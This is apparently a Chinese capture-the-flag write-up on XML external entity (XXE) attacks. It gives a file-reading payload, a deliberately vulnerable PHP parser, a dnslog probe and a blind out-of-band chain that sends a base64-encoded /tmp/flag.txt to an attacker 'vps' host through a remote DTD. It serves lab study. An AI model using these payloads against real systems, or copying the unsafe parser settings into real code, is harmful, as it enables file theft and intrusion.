第一题
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///tmp/flag.txt">
]>
<demon>&xxe;</demon>

第二题
查看源码
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
libxml_disable_entity_loader(false);
//获取post请求的内容
$xmlfile = $_POST['xml'];
//创建一个节点,理论上默认代表跟节点
$dom = new DOMDocument();
// options 中配置代表允许加载外部实体
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo "<a href='http://www.hacker.wang/xxe/xxx.txt'>查看</a>";
?>
没有漏洞一中的输出 echo $xxe->login;也就是没有回显
快速判断是否存在XXE漏洞,可以使用dnslog.cn判断:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://oe75pu.dnslog.cn">
]>
<demon><login>&xxe;</login></demon>
该题需要使用到vps,没有vps本地搭建再内网穿透也行。在公网服务器建立一个文件xxe.dtd,内容如下,我们来获取目标的/tmp/flag.txt的信息
xee.dtd文件内容:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///tmp/flag.txt">
<!ENTITY % a "<!ENTITY trick SYSTEM 'http://vps/xxe/xxe.php?xxx=%payload;'>">
%a;
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demon [<!ENTITY % remote SYSTEM "http://vps/xxe/xxe.dtd"> %remote;]>
<demon><xxx> &trick;</xxx> </demon>
在日志中找到flag



1881

被折叠的 条评论
为什么被折叠?



